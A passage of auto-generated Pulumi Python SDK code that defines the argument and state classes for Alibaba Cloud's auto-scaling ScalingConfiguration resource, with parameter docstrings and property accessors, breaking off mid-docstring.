kms_encryption_context: Optional[pulumi.Input[Mapping[str, Any]]] = None,
override: Optional[pulumi.Input[bool]] = None,
password: Optional[pulumi.Input[str]] = None,
password_inherit: Optional[pulumi.Input[bool]] = None,
resource_group_id: Optional[pulumi.Input[str]] = None,
role_name: Optional[pulumi.Input[str]] = None,
scaling_configuration_name: Optional[pulumi.Input[str]] = None,
security_group_id: Optional[pulumi.Input[str]] = None,
security_group_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
substitute: Optional[pulumi.Input[str]] = None,
system_disk_auto_snapshot_policy_id: Optional[pulumi.Input[str]] = None,
system_disk_category: Optional[pulumi.Input[str]] = None,
system_disk_description: Optional[pulumi.Input[str]] = None,
system_disk_name: Optional[pulumi.Input[str]] = None,
system_disk_performance_level: Optional[pulumi.Input[str]] = None,
system_disk_size: Optional[pulumi.Input[int]] = None,
tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
user_data: Optional[pulumi.Input[str]] = None):
"""
The set of arguments for constructing a ScalingConfiguration resource.
:param pulumi.Input[str] scaling_group_id: ID of the scaling group of a scaling configuration.
:param pulumi.Input[bool] active: Whether active current scaling configuration in the specified scaling group. Default to `false`.
:param pulumi.Input[str] credit_specification: Performance mode of the t5 burstable instance. Valid values: 'Standard', 'Unlimited'.
:param pulumi.Input[Sequence[pulumi.Input['ScalingConfigurationDataDiskArgs']]] data_disks: DataDisk mappings to attach to ecs instance. See Block datadisk below for details.
:param pulumi.Input[bool] enable: Whether enable the specified scaling group(make it active) to which the current scaling configuration belongs.
:param pulumi.Input[bool] force_delete: The last scaling configuration will be deleted forcibly with deleting its scaling group. Default to false.
:param pulumi.Input[str] image_id: ID of an image file, indicating the image resource selected when an instance is enabled.
:param pulumi.Input[str] image_name: Name of an image file, indicating the image resource selected when an instance is enabled.
:param pulumi.Input[Sequence[pulumi.Input[str]]] instance_ids: It has been deprecated from version 1.6.0. New resource `ess.Attachment` replaces it.
:param pulumi.Input[str] instance_name: Name of an ECS instance. Default to "ESS-Instance". It is valid from version 1.7.1.
:param pulumi.Input[str] instance_type: Resource type of an ECS instance.
:param pulumi.Input[Sequence[pulumi.Input[str]]] instance_types: Resource types of an ECS instance.
:param pulumi.Input[str] internet_charge_type: Network billing type, Values: PayByBandwidth or PayByTraffic. Default to `PayByBandwidth`.
:param pulumi.Input[int] internet_max_bandwidth_in: Maximum incoming bandwidth from the public network, measured in Mbps (Mega bit per second). The value range is [1,200].
:param pulumi.Input[int] internet_max_bandwidth_out: Maximum outgoing bandwidth from the public network, measured in Mbps (Mega bit per second). The value range for PayByBandwidth is [0,100].
:param pulumi.Input[str] io_optimized: It has been deprecated on instance resource. All the launched alicloud instances will be I/O optimized.
:param pulumi.Input[bool] is_outdated: Whether to use outdated instance type. Default to false.
:param pulumi.Input[str] key_name: The name of key pair that can login ECS instance successfully without password. If it is specified, the password would be invalid.
:param pulumi.Input[str] kms_encrypted_password: An KMS encrypts password used to a db account. If the `password` is filled in, this field will be ignored.
:param pulumi.Input[Mapping[str, Any]] kms_encryption_context: An KMS encryption context used to decrypt `kms_encrypted_password` before creating or updating a db account with `kms_encrypted_password`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set.
:param pulumi.Input[bool] override: Indicates whether to overwrite the existing data. Default to false.
:param pulumi.Input[str] password: The password of the ECS instance. The password must be 8 to 30 characters in length. It must contains at least three of the following character types: uppercase letters, lowercase letters, digits, and special characters. Special characters include `() ~!@#$%^&*-_+=\|{}[]:;'<>,.?/`, The password of Windows-based instances cannot start with a forward slash (/).
:param pulumi.Input[bool] password_inherit: Specifies whether to use the password that is predefined in the image. If the PasswordInherit parameter is set to true, the `password` and `kms_encrypted_password` will be ignored. You must ensure that the selected image has a password configured.
:param pulumi.Input[str] resource_group_id: ID of resource group.
:param pulumi.Input[str] role_name: Instance RAM role name. The name is provided and maintained by RAM. You can use `ram.Role` to create a new one.
:param pulumi.Input[str] scaling_configuration_name: Name shown for the scheduled task. which must contain 2-64 characters (English or Chinese), starting with numbers, English letters or Chinese characters, and can contain number, underscores `_`, hypens `-`, and decimal point `.`. If this parameter value is not specified, the default value is ScalingConfigurationId.
:param pulumi.Input[str] security_group_id: ID of the security group used to create new instance. It is conflict with `security_group_ids`.
:param pulumi.Input[Sequence[pulumi.Input[str]]] security_group_ids: List IDs of the security group used to create new instances. It is conflict with `security_group_id`.
:param pulumi.Input[str] substitute: The another scaling configuration which will be active automatically and replace current configuration when setting `active` to 'false'. It is invalid when `active` is 'true'.
:param pulumi.Input[str] system_disk_auto_snapshot_policy_id: The id of auto snapshot policy for system disk.
:param pulumi.Input[str] system_disk_category: Category of the system disk. The parameter value options are `ephemeral_ssd`, `cloud_efficiency`, `cloud_ssd`, `cloud_essd` and `cloud`. `cloud` only is used to some no I/O optimized instance. Default to `cloud_efficiency`.
:param pulumi.Input[str] system_disk_description: The description of the system disk. The description must be 2 to 256 characters in length and cannot start with http:// or https://.
:param pulumi.Input[str] system_disk_name: The name of the system disk. It must be 2 to 128 characters in length. It must start with a letter and cannot start with http:// or https://. It can contain letters, digits, colons (:), underscores (_), and hyphens (-). Default value: null.
:param pulumi.Input[str] system_disk_performance_level: The performance level of the ESSD used as the system disk.
:param pulumi.Input[int] system_disk_size: Size of system disk, in GiB. Optional values: cloud: 20-500, cloud_efficiency: 20-500, cloud_ssd: 20-500, ephemeral_ssd: 20-500 The default value is max{40, ImageSize}. If this parameter is set, the system disk size must be greater than or equal to max{40, ImageSize}.
:param pulumi.Input[Mapping[str, Any]] tags: A mapping of tags to assign to the resource. It will be applied for ECS instances finally.
- Key: It can be up to 64 characters in length. It cannot begin with "aliyun", "http://", or "https://". It cannot be a null string.
- Value: It can be up to 128 characters in length. It cannot begin with "aliyun", "http://", or "https://" It can be a null string.
:param pulumi.Input[str] user_data: User-defined data to customize the startup behaviors of the ECS instance and to pass data into the ECS instance.
"""
pulumi.set(__self__, "scaling_group_id", scaling_group_id)
if active is not None:
pulumi.set(__self__, "active", active)
if credit_specification is not None:
pulumi.set(__self__, "credit_specification", credit_specification)
if data_disks is not None:
pulumi.set(__self__, "data_disks", data_disks)
if enable is not None:
pulumi.set(__self__, "enable", enable)
if force_delete is not None:
pulumi.set(__self__, "force_delete", force_delete)
if image_id is not None:
pulumi.set(__self__, "image_id", image_id)
if image_name is not None:
pulumi.set(__self__, "image_name", image_name)
if instance_ids is not None:
warnings.warn("""Field 'instance_ids' has been deprecated from provider version 1.6.0. New resource 'alicloud_ess_attachment' replaces it.""", DeprecationWarning)
pulumi.log.warn("""instance_ids is deprecated: Field 'instance_ids' has been deprecated from provider version 1.6.0. New resource 'alicloud_ess_attachment' replaces it.""")
if instance_ids is not None:
pulumi.set(__self__, "instance_ids", instance_ids)
if instance_name is not None:
pulumi.set(__self__, "instance_name", instance_name)
if instance_type is not None:
pulumi.set(__self__, "instance_type", instance_type)
if instance_types is not None:
pulumi.set(__self__, "instance_types", instance_types)
if internet_charge_type is not None:
pulumi.set(__self__, "internet_charge_type", internet_charge_type)
if internet_max_bandwidth_in is not None:
pulumi.set(__self__, "internet_max_bandwidth_in", internet_max_bandwidth_in)
if internet_max_bandwidth_out is not None:
pulumi.set(__self__, "internet_max_bandwidth_out", internet_max_bandwidth_out)
if io_optimized is not None:
warnings.warn("""Attribute io_optimized has been deprecated on instance resource. All the launched alicloud instances will be IO optimized. Suggest to remove it from your template.""", DeprecationWarning)
pulumi.log.warn("""io_optimized is deprecated: Attribute io_optimized has been deprecated on instance resource. All the launched alicloud instances will be IO optimized. Suggest to remove it from your template.""")
if io_optimized is not None:
pulumi.set(__self__, "io_optimized", io_optimized)
if is_outdated is not None:
pulumi.set(__self__, "is_outdated", is_outdated)
if key_name is not None:
pulumi.set(__self__, "key_name", key_name)
if kms_encrypted_password is not None:
pulumi.set(__self__, "kms_encrypted_password", kms_encrypted_password)
if kms_encryption_context is not None:
pulumi.set(__self__, "kms_encryption_context", kms_encryption_context)
if override is not None:
pulumi.set(__self__, "override", override)
if password is not None:
pulumi.set(__self__, "password", password)
if password_inherit is not None:
pulumi.set(__self__, "password_inherit", password_inherit)
if resource_group_id is not None:
pulumi.set(__self__, "resource_group_id", resource_group_id)
if role_name is not None:
pulumi.set(__self__, "role_name", role_name)
if scaling_configuration_name is not None:
pulumi.set(__self__, "scaling_configuration_name", scaling_configuration_name)
if security_group_id is not None:
pulumi.set(__self__, "security_group_id", security_group_id)
if security_group_ids is not None:
pulumi.set(__self__, "security_group_ids", security_group_ids)
if substitute is not None:
pulumi.set(__self__, "substitute", substitute)
if system_disk_auto_snapshot_policy_id is not None:
pulumi.set(__self__, "system_disk_auto_snapshot_policy_id", system_disk_auto_snapshot_policy_id)
if system_disk_category is not None:
pulumi.set(__self__, "system_disk_category", system_disk_category)
if system_disk_description is not None:
pulumi.set(__self__, "system_disk_description", system_disk_description)
if system_disk_name is not None:
pulumi.set(__self__, "system_disk_name", system_disk_name)
if system_disk_performance_level is not None:
pulumi.set(__self__, "system_disk_performance_level", system_disk_performance_level)
if system_disk_size is not None:
pulumi.set(__self__, "system_disk_size", system_disk_size)
if tags is not None:
pulumi.set(__self__, "tags", tags)
if user_data is not None:
pulumi.set(__self__, "user_data", user_data)
@property
@pulumi.getter(name="scalingGroupId")
def scaling_group_id(self) -> pulumi.Input[str]:
"""
ID of the scaling group of a scaling configuration.
"""
return pulumi.get(self, "scaling_group_id")
@scaling_group_id.setter
def scaling_group_id(self, value: pulumi.Input[str]):
pulumi.set(self, "scaling_group_id", value)
@property
@pulumi.getter
def active(self) -> Optional[pulumi.Input[bool]]:
"""
Whether active current scaling configuration in the specified scaling group. Default to `false`.
"""
return pulumi.get(self, "active")
@active.setter
def active(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "active", value)
@property
@pulumi.getter(name="creditSpecification")
def credit_specification(self) -> Optional[pulumi.Input[str]]:
"""
Performance mode of the t5 burstable instance. Valid values: 'Standard', 'Unlimited'.
"""
return pulumi.get(self, "credit_specification")
@credit_specification.setter
def credit_specification(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "credit_specification", value)
@property
@pulumi.getter(name="dataDisks")
def data_disks(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ScalingConfigurationDataDiskArgs']]]]:
"""
DataDisk mappings to attach to ecs instance. See Block datadisk below for details.
"""
return pulumi.get(self, "data_disks")
@data_disks.setter
def data_disks(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ScalingConfigurationDataDiskArgs']]]]):
pulumi.set(self, "data_disks", value)
@property
@pulumi.getter
def enable(self) -> Optional[pulumi.Input[bool]]:
"""
Whether enable the specified scaling group(make it active) to which the current scaling configuration belongs.
"""
return pulumi.get(self, "enable")
@enable.setter
def enable(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "enable", value)
@property
@pulumi.getter(name="forceDelete")
def force_delete(self) -> Optional[pulumi.Input[bool]]:
"""
The last scaling configuration will be deleted forcibly with deleting its scaling group. Default to false.
"""
return pulumi.get(self, "force_delete")
@force_delete.setter
def force_delete(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "force_delete", value)
@property
@pulumi.getter(name="imageId")
def image_id(self) -> Optional[pulumi.Input[str]]:
"""
ID of an image file, indicating the image resource selected when an instance is enabled.
"""
return pulumi.get(self, "image_id")
@image_id.setter
def image_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "image_id", value)
@property
@pulumi.getter(name="imageName")
def image_name(self) -> Optional[pulumi.Input[str]]:
"""
Name of an image file, indicating the image resource selected when an instance is enabled.
"""
return pulumi.get(self, "image_name")
@image_name.setter
def image_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "image_name", value)
@property
@pulumi.getter(name="instanceIds")
def instance_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
It has been deprecated from version 1.6.0. New resource `ess.Attachment` replaces it.
"""
return pulumi.get(self, "instance_ids")
@instance_ids.setter
def instance_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "instance_ids", value)
@property
@pulumi.getter(name="instanceName")
def instance_name(self) -> Optional[pulumi.Input[str]]:
"""
Name of an ECS instance. Default to "ESS-Instance". It is valid from version 1.7.1.
"""
return pulumi.get(self, "instance_name")
@instance_name.setter
def instance_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "instance_name", value)
@property
@pulumi.getter(name="instanceType")
def instance_type(self) -> Optional[pulumi.Input[str]]:
"""
Resource type of an ECS instance.
"""
return pulumi.get(self, "instance_type")
@instance_type.setter
def instance_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "instance_type", value)
@property
@pulumi.getter(name="instanceTypes")
def instance_types(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Resource types of an ECS instance.
"""
return pulumi.get(self, "instance_types")
@instance_types.setter
def instance_types(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "instance_types", value)
@property
@pulumi.getter(name="internetChargeType")
def internet_charge_type(self) -> Optional[pulumi.Input[str]]:
"""
Network billing type, Values: PayByBandwidth or PayByTraffic. Default to `PayByBandwidth`.
"""
return pulumi.get(self, "internet_charge_type")
@internet_charge_type.setter
def internet_charge_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "internet_charge_type", value)
@property
@pulumi.getter(name="internetMaxBandwidthIn")
def internet_max_bandwidth_in(self) -> Optional[pulumi.Input[int]]:
"""
Maximum incoming bandwidth from the public network, measured in Mbps (Mega bit per second). The value range is [1,200].
"""
return pulumi.get(self, "internet_max_bandwidth_in")
@internet_max_bandwidth_in.setter
def internet_max_bandwidth_in(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "internet_max_bandwidth_in", value)
@property
@pulumi.getter(name="internetMaxBandwidthOut")
def internet_max_bandwidth_out(self) -> Optional[pulumi.Input[int]]:
"""
Maximum outgoing bandwidth from the public network, measured in Mbps (Mega bit per second). The value range for PayByBandwidth is [0,100].
"""
return pulumi.get(self, "internet_max_bandwidth_out")
@internet_max_bandwidth_out.setter
def internet_max_bandwidth_out(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "internet_max_bandwidth_out", value)
@property
@pulumi.getter(name="ioOptimized")
def io_optimized(self) -> Optional[pulumi.Input[str]]:
"""
It has been deprecated on instance resource. All the launched alicloud instances will be I/O optimized.
"""
return pulumi.get(self, "io_optimized")
@io_optimized.setter
def io_optimized(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "io_optimized", value)
@property
@pulumi.getter(name="isOutdated")
def is_outdated(self) -> Optional[pulumi.Input[bool]]:
"""
Whether to use outdated instance type. Default to false.
"""
return pulumi.get(self, "is_outdated")
@is_outdated.setter
def is_outdated(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "is_outdated", value)
@property
@pulumi.getter(name="keyName")
def key_name(self) -> Optional[pulumi.Input[str]]:
"""
The name of key pair that can login ECS instance successfully without password. If it is specified, the password would be invalid.
"""
return pulumi.get(self, "key_name")
@key_name.setter
def key_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "key_name", value)
@property
@pulumi.getter(name="kmsEncryptedPassword")
def kms_encrypted_password(self) -> Optional[pulumi.Input[str]]:
"""
An KMS encrypts password used to a db account. If the `password` is filled in, this field will be ignored.
"""
return pulumi.get(self, "kms_encrypted_password")
@kms_encrypted_password.setter
def kms_encrypted_password(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "kms_encrypted_password", value)
@property
@pulumi.getter(name="kmsEncryptionContext")
def kms_encryption_context(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
An KMS encryption context used to decrypt `kms_encrypted_password` before creating or updating a db account with `kms_encrypted_password`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set.
"""
return pulumi.get(self, "kms_encryption_context")
@kms_encryption_context.setter
def kms_encryption_context(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "kms_encryption_context", value)
@property
@pulumi.getter
def override(self) -> Optional[pulumi.Input[bool]]:
"""
Indicates whether to overwrite the existing data. Default to false.
"""
return pulumi.get(self, "override")
@override.setter
def override(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "override", value)
@property
@pulumi.getter
def password(self) -> Optional[pulumi.Input[str]]:
"""
The password of the ECS instance. The password must be 8 to 30 characters in length. It must contains at least three of the following character types: uppercase letters, lowercase letters, digits, and special characters. Special characters include `() ~!@#$%^&*-_+=\|{}[]:;'<>,.?/`, The password of Windows-based instances cannot start with a forward slash (/).
"""
return pulumi.get(self, "password")
@password.setter
def password(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "password", value)
@property
@pulumi.getter(name="passwordInherit")
def password_inherit(self) -> Optional[pulumi.Input[bool]]:
"""
Specifies whether to use the password that is predefined in the image. If the PasswordInherit parameter is set to true, the `password` and `kms_encrypted_password` will be ignored. You must ensure that the selected image has a password configured.
"""
return pulumi.get(self, "password_inherit")
@password_inherit.setter
def password_inherit(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "password_inherit", value)
@property
@pulumi.getter(name="resourceGroupId")
def resource_group_id(self) -> Optional[pulumi.Input[str]]:
"""
ID of resource group.
"""
return pulumi.get(self, "resource_group_id")
@resource_group_id.setter
def resource_group_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "resource_group_id", value)
@property
@pulumi.getter(name="roleName")
def role_name(self) -> Optional[pulumi.Input[str]]:
"""
Instance RAM role name. The name is provided and maintained by RAM. You can use `ram.Role` to create a new one.
"""
return pulumi.get(self, "role_name")
@role_name.setter
def role_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "role_name", value)
@property
@pulumi.getter(name="scalingConfigurationName")
def scaling_configuration_name(self) -> Optional[pulumi.Input[str]]:
"""
Name shown for the scheduled task. which must contain 2-64 characters (English or Chinese), starting with numbers, English letters or Chinese characters, and can contain number, underscores `_`, hypens `-`, and decimal point `.`. If this parameter value is not specified, the default value is ScalingConfigurationId.
"""
return pulumi.get(self, "scaling_configuration_name")
@scaling_configuration_name.setter
def scaling_configuration_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "scaling_configuration_name", value)
@property
@pulumi.getter(name="securityGroupId")
def security_group_id(self) -> Optional[pulumi.Input[str]]:
"""
ID of the security group used to create new instance. It is conflict with `security_group_ids`.
"""
return pulumi.get(self, "security_group_id")
@security_group_id.setter
def security_group_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "security_group_id", value)
@property
@pulumi.getter(name="securityGroupIds")
def security_group_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
List IDs of the security group used to create new instances. It is conflict with `security_group_id`.
"""
return pulumi.get(self, "security_group_ids")
@security_group_ids.setter
def security_group_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "security_group_ids", value)
@property
@pulumi.getter
def substitute(self) -> Optional[pulumi.Input[str]]:
"""
The another scaling configuration which will be active automatically and replace current configuration when setting `active` to 'false'. It is invalid when `active` is 'true'.
"""
return pulumi.get(self, "substitute")
@substitute.setter
def substitute(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "substitute", value)
@property
@pulumi.getter(name="systemDiskAutoSnapshotPolicyId")
def system_disk_auto_snapshot_policy_id(self) -> Optional[pulumi.Input[str]]:
"""
The id of auto snapshot policy for system disk.
"""
return pulumi.get(self, "system_disk_auto_snapshot_policy_id")
@system_disk_auto_snapshot_policy_id.setter
def system_disk_auto_snapshot_policy_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "system_disk_auto_snapshot_policy_id", value)
@property
@pulumi.getter(name="systemDiskCategory")
def system_disk_category(self) -> Optional[pulumi.Input[str]]:
"""
Category of the system disk. The parameter value options are `ephemeral_ssd`, `cloud_efficiency`, `cloud_ssd`, `cloud_essd` and `cloud`. `cloud` only is used to some no I/O optimized instance. Default to `cloud_efficiency`.
"""
return pulumi.get(self, "system_disk_category")
@system_disk_category.setter
def system_disk_category(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "system_disk_category", value)
@property
@pulumi.getter(name="systemDiskDescription")
def system_disk_description(self) -> Optional[pulumi.Input[str]]:
"""
The description of the system disk. The description must be 2 to 256 characters in length and cannot start with http:// or https://.
"""
return pulumi.get(self, "system_disk_description")
@system_disk_description.setter
def system_disk_description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "system_disk_description", value)
@property
@pulumi.getter(name="systemDiskName")
def system_disk_name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the system disk. It must be 2 to 128 characters in length. It must start with a letter and cannot start with http:// or https://. It can contain letters, digits, colons (:), underscores (_), and hyphens (-). Default value: null.
"""
return pulumi.get(self, "system_disk_name")
@system_disk_name.setter
def system_disk_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "system_disk_name", value)
@property
@pulumi.getter(name="systemDiskPerformanceLevel")
def system_disk_performance_level(self) -> Optional[pulumi.Input[str]]:
"""
The performance level of the ESSD used as the system disk.
"""
return pulumi.get(self, "system_disk_performance_level")
@system_disk_performance_level.setter
def system_disk_performance_level(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "system_disk_performance_level", value)
@property
@pulumi.getter(name="systemDiskSize")
def system_disk_size(self) -> Optional[pulumi.Input[int]]:
"""
Size of system disk, in GiB. Optional values: cloud: 20-500, cloud_efficiency: 20-500, cloud_ssd: 20-500, ephemeral_ssd: 20-500 The default value is max{40, ImageSize}. If this parameter is set, the system disk size must be greater than or equal to max{40, ImageSize}.
"""
return pulumi.get(self, "system_disk_size")
@system_disk_size.setter
def system_disk_size(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "system_disk_size", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
A mapping of tags to assign to the resource. It will be applied for ECS instances finally.
- Key: It can be up to 64 characters in length. It cannot begin with "aliyun", "http://", or "https://". It cannot be a null string.
- Value: It can be up to 128 characters in length. It cannot begin with "aliyun", "http://", or "https://" It can be a null string.
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "tags", value)
@property
@pulumi.getter(name="userData")
def user_data(self) -> Optional[pulumi.Input[str]]:
"""
User-defined data to customize the startup behaviors of the ECS instance and to pass data into the ECS instance.
"""
return pulumi.get(self, "user_data")
@user_data.setter
def user_data(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "user_data", value)
@pulumi.input_type
class _ScalingConfigurationState:
def __init__(__self__, *,
active: Optional[pulumi.Input[bool]] = None,
credit_specification: Optional[pulumi.Input[str]] = None,
data_disks: Optional[pulumi.Input[Sequence[pulumi.Input['ScalingConfigurationDataDiskArgs']]]] = None,
enable: Optional[pulumi.Input[bool]] = None,
force_delete: Optional[pulumi.Input[bool]] = None,
image_id: Optional[pulumi.Input[str]] = None,
image_name: Optional[pulumi.Input[str]] = None,
instance_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
instance_name: Optional[pulumi.Input[str]] = None,
instance_type: Optional[pulumi.Input[str]] = None,
instance_types: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
internet_charge_type: Optional[pulumi.Input[str]] = None,
internet_max_bandwidth_in: Optional[pulumi.Input[int]] = None,
internet_max_bandwidth_out: Optional[pulumi.Input[int]] = None,
io_optimized: Optional[pulumi.Input[str]] = None,
is_outdated: Optional[pulumi.Input[bool]] = None,
key_name: Optional[pulumi.Input[str]] = None,
kms_encrypted_password: Optional[pulumi.Input[str]] = None,
kms_encryption_context: Optional[pulumi.Input[Mapping[str, Any]]] = None,
override: Optional[pulumi.Input[bool]] = None,
password: Optional[pulumi.Input[str]] = None,
password_inherit: Optional[pulumi.Input[bool]] = None,
resource_group_id: Optional[pulumi.Input[str]] = None,
role_name: Optional[pulumi.Input[str]] = None,
scaling_configuration_name: Optional[pulumi.Input[str]] = None,
scaling_group_id: Optional[pulumi.Input[str]] = None,
security_group_id: Optional[pulumi.Input[str]] = None,
security_group_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
substitute: Optional[pulumi.Input[str]] = None,
system_disk_auto_snapshot_policy_id: Optional[pulumi.Input[str]] = None,
system_disk_category: Optional[pulumi.Input[str]] = None,
system_disk_description: Optional[pulumi.Input[str]] = None,
system_disk_name: Optional[pulumi.Input[str]] = None,
system_disk_performance_level: Optional[pulumi.Input[str]] = None,
system_disk_size: Optional[pulumi.Input[int]] = None,
tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
user_data: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering ScalingConfiguration resources.
:param pulumi.Input[bool] active: Whether active current scaling configuration in the specified scaling group. Default to `false`.
:param pulumi.Input[str] credit_specification: Performance mode of the t5 burstable instance. Valid values: 'Standard', 'Unlimited'.
:param pulumi.Input[Sequence[pulumi.Input['ScalingConfigurationDataDiskArgs']]] data_disks: DataDisk mappings to attach to ecs instance. See Block datadisk below for details.
:param pulumi.Input[bool] enable: Whether enable the specified scaling group(make it active) to which the current scaling configuration belongs.
:param pulumi.Input[bool] force_delete: The last scaling configuration will be deleted forcibly with deleting its scaling group. Default to false.
:param pulumi.Input[str] image_id: ID of an image file, indicating the image resource selected when an instance is enabled.
:param pulumi.Input[str] image_name: Name of an image file, indicating the image resource selected when an instance is enabled.
:param pulumi.Input[Sequence[pulumi.Input[str]]] instance_ids: It has been deprecated from version 1.6.0. New resource `ess.Attachment` replaces it.
:param pulumi.Input[str] instance_name: Name of an ECS instance. Default to "ESS-Instance". It is valid from version 1.7.1.
:param pulumi.Input[str] instance_type: Resource type of an ECS instance.
:param pulumi.Input[Sequence[pulumi.Input[str]]] instance_types: Resource types of an ECS instance.
:param pulumi.Input[str] internet_charge_type: Network billing type, Values: PayByBandwidth or PayByTraffic. Default to `PayByBandwidth`.
:param pulumi.Input[int] internet_max_bandwidth_in: Maximum incoming bandwidth from the public network, measured in Mbps (Mega bit per second). The value range is [1,200].
:param pulumi.Input[int] internet_max_bandwidth_out: Maximum outgoing bandwidth from the public network, measured in Mbps (Mega bit per second). The value range for PayByBandwidth is [0,100].
:param pulumi.Input[str] io_optimized: It has been deprecated on instance resource. All the launched alicloud instances will be I/O optimized.
:param pulumi.Input[bool] is_outdated: Whether to use outdated instance type. Default to false.
:param pulumi.Input[str] key_name: The name of key pair that can login ECS instance successfully without password. If it is specified, the password would be invalid.
:param pulumi.Input[str] kms_encrypted_password: An KMS encrypts password used to a db account. If the `password` is filled in, this field will be ignored.
:param pulumi.Input[Mapping[str, Any]] kms_encryption_context: An KMS encryption context used to decrypt `kms_encrypted_password` before creating or updating a db account with `kms_encrypted_password`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set.
:param pulumi.Input[bool] override: Indicates whether to overwrite the existing data. Default to false.
:param pulumi.Input[str] password: The password of the ECS instance. The password must be 8 to 30 characters in length. It must contains at least three of the following character types: uppercase letters, lowercase letters, digits, and special characters. Special characters include `() ~!@#$%^&*-_+=\|{}[]:;'<>,.?/`, The password of Windows-based instances cannot start with a forward slash (/).
:param pulumi.Input[bool] password_inherit: Specifies whether to use the password that is predefined in the image. If the PasswordInherit parameter is set to true, the `password` and `kms_encrypted_password` will be ignored. You must ensure that the selected image has a password configured.
:param pulumi.Input[str] resource_group_id: ID of resource group.
:param pulumi.Input[str] role_name: Instance RAM role name. The name is provided and maintained by RAM. You can use `ram.Role` to create a new one.
:param pulumi.Input[str] scaling_configuration_name: Name shown for the scheduled task. which must contain 2-64 characters (English or Chinese), starting with numbers, English letters or Chinese characters, and can contain number, underscores `_`, hypens `-`, and decimal point `.`. If this parameter value is not specified, the default value is ScalingConfigurationId.
:param pulumi.Input[str] scaling_group_id: ID of the scaling group of a scaling configuration.
:param pulumi.Input[str] security_group_id: ID of the security group used to create new instance. It is conflict with `security_group_ids`.
:param pulumi.Input[Sequence[pulumi.Input[str]]] security_group_ids: List IDs of the security group used to create new instances. It is conflict with `security_group_id`.
:param pulumi.Input[str] substitute: The another scaling configuration which will be active automatically and replace current configuration when setting `active` to 'false'. It is invalid when `active` is 'true'.
:param pulumi.Input[str] system_disk_auto_snapshot_policy_id: The id of auto snapshot policy for system disk.
:param pulumi.Input[str] system_disk_category: Category of the system disk. The parameter value options are `ephemeral_ssd`, `cloud_efficiency`, `cloud_ssd`, `cloud_essd` and `cloud`. `cloud` only is used to some no I/O optimized instance. Default to `cloud_efficiency`.
:param pulumi.Input[str] system_disk_description: The description of the system disk. The description must be 2 to 256 characters in length and cannot start with http:// or https://.
:param pulumi.Input[str] system_disk_name: The name of the system disk. It must be 2 to 128 characters in length. It must start with a letter and cannot start with http:// or https://. It can contain letters, digits, colons (:), underscores (_), and hyphens (-). Default value: null.
:param pulumi.Input[str] system_disk_performance_level: The performance level of the ESSD used as the system disk.
:param pulumi.Input[int] system_disk_size: Size of system disk, in GiB. Optional values: cloud: 20-500, cloud_efficiency: 20-500, cloud_ssd: 20-500, ephemeral_ssd: 20-500 The default value is max{40, ImageSize}. If this parameter is set, the system disk size must be greater than or equal to max{40, ImageSize}.
:param pulumi.Input[Mapping[str, Any]] tags: A mapping of tags to assign to the resource. It will be applied for ECS instances finally.
- Key: It can be up to 64 characters in length. It cannot begin with "aliyun", "http://", or "https://". It cannot be a null string.
- Value: It can be up to 128 characters in length. It cannot begin with "aliyun", "http://", or "https://" It can be a null string.
